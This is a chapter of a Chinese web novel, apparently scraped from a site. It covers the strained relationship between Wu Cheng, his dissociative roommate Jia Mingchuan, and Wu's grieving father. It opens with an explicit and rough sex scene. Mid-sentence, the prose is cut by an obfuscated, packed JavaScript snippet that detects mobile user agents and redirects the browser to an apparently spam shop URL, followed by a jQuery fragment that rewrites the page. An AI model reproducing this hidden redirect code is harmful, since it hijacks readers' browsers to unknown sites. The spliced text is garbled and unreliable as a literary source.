丞哥哥不说,双臂撑在枕头两边,盯着身下人的眼睛,抿着唇紧绷着两颊肌肉开始蛮干。
明川是顾及集体宿舍,叫声太大有麻烦,所以会收敛。
但大多数时候,捂嘴这事儿还得巫丞来干。或者说,是明川略施小计故意让巫丞这么干。
但“川儿”跟明川不一样。他耻于发出任何声音,所以坚决不同意巫丞有任何刺激性的过激行为。
一开始巫丞还没从跟明川的过激模式中脱离出来,经常不小心弄过火,被迫叫喊出声的川儿马上就会用双手狠狠捂住自己的嘴巴,用那双水雾迷蒙、动人心魄的眸子表达无声谴责。
那种娇柔羞涩、脆弱可怜的撩人模样是个男人都受不了,巫丞就只能赶紧切换成小火慢炖模式,再不停地亲吻安抚。
巫丞不忍心让川儿哭,但吃惯了烈火烹油的大餐,总这么寡淡,时间长了心里就跟长草了一样。所以偶尔会使坏,就为听一声猝不及防的小猫叫,也算是种情^趣。
不过现在不是,他不是想听小猫叫,也不是馋大餐。
他就想让对方说不出来话。
突然遭受狂风暴雨的少年双手死死扣住自己嘴巴,眼泪在眼圈里打转儿,满眼写着可怜、祈求,和不知所措的惊恐。
巫丞直直盯着少年的眼睛,神色冰冷,无动于衷,像一台无情的发泄机器。
川儿从来没受过这样的刺激,很快就承受不住,被动“切号”。
刚上号的明川有点懵。这阵仗即便对于久经沙场的他而言也称得上是场硬仗。
他的丞哥哥怎么会这么对川儿?
然而不待明川思考,疾风骤雨的强攻便骤然停歇,巫丞曲着手肘压下来,凶狠地碾磨上明川的唇,像要把人活活亲死。
明川在半缺氧的状态下迎来了璀璨的极昼。他还瘫在床上余韵未尽地喘息,身上的人已经抽离,一言不发地去冲凉。
虽然脑子还有点迷糊,但明川能确定,迎来璀璨极昼的,只有他自己。
不因那场狂乱的疾风骤雨。
而是那个浓烈的吻。
这是丞哥哥给他的答案。
明川举起酸软的手臂架在鼻梁上,挡住眼睛,抿紧的双唇似在极力压制什么而微微颤抖。
最后终是唇角慢慢勾起,弯成幸福的弧度。
巫丞冲洗完出来的时候,明川带着换洗衣物与他擦肩而过。
“我放过你了。”
“巫丞。”
巫丞脚下猛然一顿,转回身时,看到的只有已经关上了的卫生间的门。
-
巫丞和贾明川变成了普通室友。
贾明川再不干涉巫丞与武秋月的约会,除了一些班级事务上的必要联系,再不在巫丞外出时给他打电话、发信息,深入交流更不必谈。甚至连藏在抽屉深处的那些小玩具都没了。
第一周的时候,巫丞战战兢兢,不知道贾明川在玩儿什么新花样;
第二周的时候,巫丞开始感慨自由的空气多么芬芳。
但其实心底还是有些焦躁。
他以为这种焦躁来自于一些未解之谜,比如,这才刚断药,贾明川应该还对他有很强的依赖性和掌控欲,对方是怎么做到说断就断的?!
再比如,贾明川为什么会在那之后放过他?按照正常逻辑,不应该把他抓得更牢?
欲擒故纵?
第三周的时候,巫丞感觉自己“毒”瘾要犯了。
他想操贾明川。
往死里操。
回宿舍看见衣装整齐地晃来晃去的贾明川,就想扑上去把他衣服全扒了。
他用力敲打脑壳告诉自己憋着。原本他和贾明川的关系就是畸形的,现在才是正常的。你别不是被疯子传染了疯病。
他跟武秋月约会愈发心不在焉,约会时长也越来越短,借口是马上就要迎来二年级的期末考核。
回宿舍见不到贾明川,巫丞就满学校地找。一般情况下,晚操后的自由时间是在实验室,周末是在图书馆。
巫丞开始觉得路十方这人怎么这么碍眼。几乎他每次找到贾明川时,这人都跟贾明川一起。
他知道路十方的志向是成为一名战地军医,一年级那会儿就知道,所以,想成为军医的路十方跟喜欢研究医学领域最前沿的贾明川经常在一起似乎很正常。
可问题是路十方看贾明川的那个眼神啊!当他是瞎的吗?!
……等等,谁怎么看贾明川跟你有什么关系。你天天像个没断奶的孩子四处找妈一样找贾明川干什么?!
在巫丞痛苦的戒断反应中,二年级的年终考核结束,迎来了为期两周的暑假。
还是坐大巴从布拉索山区回城。
快到紫竹苑了。纠结了一路的巫丞终于掏出手机,准备给跟路十方坐在一起的明川发信息,扭扭捏捏地表示:毕竟室友一场,你暑假没地方去,可以来我家蹭饭。
可消息反复删改还没编辑完,身旁突然掠过他再熟悉不过的百合淡香。
巫丞仓皇抬头,见贾明川跟在路十方后边去车门旁等着到站下车。
巫丞一直伸脖子愣怔地盯着,直到车门重新关闭、大巴再次启动,两个说说笑笑的人影从侧窗一闪而过融入夜色,才垮下身子,阴森森地哼笑一声。
他向后一靠,脑袋搭在椅背顶端,摘了军帽盖在脸上,恶狠狠骂自己:贱骨头。
小浪货暑假能待的地方多着呢,只要他开口,说不定住皇宫里都不是问题,用得着你操心。
进了家门看到巫敬贤,巫丞满心的躁郁瞬间被压制不少。
不带贾明川回家是对的,家里还有个大麻烦还没解决。
巫丞一直以为巫敬贤是个单纯的工作狂,但自从去年10月起,巫丞才逐渐意识到,巫敬贤一心扑在工作上,或许只是为了逃避丧妻失子之痛。
因为自从巫敬贤知道了杨光的存在后,就病假连着事假,大半年都没怎么在研究所。
他去探寻杨光曾经生活、学习过的地方,寻找那些认识杨光的人,拼命收集亲儿子曾经生活在这个世上的点点滴滴;
他托关系想拿到杨光的死亡鉴定报告和侦查案卷,遇到了阻力,不得以拿出DNA匹配结果,以生父的身份请求警方向其透露案件细节,还是遭到拒绝。
他消沉,再奋起;
碰壁后再消沉,再奋起……
这些巫丞都了解。
毕竟他们是父子,就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|12236609|129567||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
算巫丞住校,巫敬贤很少在研究所露面,电话信息还是常打常发。巫敬贤关心巫丞的学业、手术后的身体状况、和同学们的相处情况,以及和小皇子的感情进展。巫丞则请求父亲一定要把自身健康放在第一位,保持乐观心态,毕竟逝者不可追。
他们的父子情看起来没什么变化,但两边都心知肚明,从一开始就横亘在他们中间的那层透明隔板正变得越来越厚。
巫丞想,巫敬贤没有一拳击碎那层隔板扑过来将他撕碎,无非是还没拿到是他害死杨光的确凿证据。
但巫敬贤是不可能拿到的。
因为杨光没死。
巫丞对“杨光没死”这件事儿本来是心有存疑的,哪怕这话是“川儿”说的。
但当他得知从不求人的巫敬贤百般寻找门路却屡遭碰壁,巫丞突然就信了。
所以他才开始摆烂。
因为他再次意识到,贾明川这个人太可怕了。
得是有着怎样的力量,才能这样公然又不留痕迹地从世上抹掉一个人。
连警方都是他的帮手。
尽管如此,尽管已经知道自己不是害死杨光的凶手,巫丞还是不知道该怎么面对巫敬贤。
如果,他是说如果,贾明川摆下这么大阵仗,就是为了捕获他,那和是他害死杨光有什么区别?
我不杀伯仁,伯仁却因我而死……
巫丞也自嘲是不是自己自作多情,可一想到贾明川对他那股疯劲儿,他没办法不这么想。
晚饭是巫敬贤从高档餐厅订的外卖。每盒菜量不大,但摆了满满一桌子。
巫敬贤跟巫丞自嘲,儿子刚刚结束为期三天的野外生存考核,可自己这个老爹是个只会煮速冻食品和泡面的废材,只好点个外卖将就一下。
巫丞受宠若惊地表示父亲您别这么说。
饭间,巫丞察觉巫敬贤数次欲言又止,但最后都看着他脸上的轻微划伤把话咽了下去。
巫丞心里烦着,自觉不是对话的好时机,便也没有主动问。
吃完饭,巫丞阻拦下想表达一下父爱关怀的巫敬贤,把擦桌洗碗和储存剩菜剩饭的活都包揽下来。
巫敬贤在一旁坐着,忽然问:“明川怎么没跟你一起回来啊?”
刷碗的动作微妙地一顿,巫丞应声:“他去路十方家过暑假了。”
“路……哦……”巫敬贤了然地点点头。
路十方这孩子他有印象,贾明川引荐过来的。虽然没有贾明川那样的天资,但胜在尊师重道、勤奋好学。巫敬贤这大半年没怎么去研究所那边带人,但偶尔去那么几次,对路十方的印象还不错,也看得出贾明川跟路十方的关系很不错。
贾明川那孩子心慧,肯定能看出来自己这边有事,所以暑假没来这边叨扰,而是去了有共同志向的路十方家。
“父亲是喜欢跟明川聊天吗?”话虽这么问,但巫丞心里并不这么想。
巫敬贤现在心里没有科研,所以跟贾明川应该没什么好聊的。
“我是觉得有那孩子照顾你的话,更让人放心。”巫敬贤说。
巫丞动作一滞,回头。
“你该做最后一次手术了,丞丞。”巫敬贤看着巫丞,慈爱地笑笑。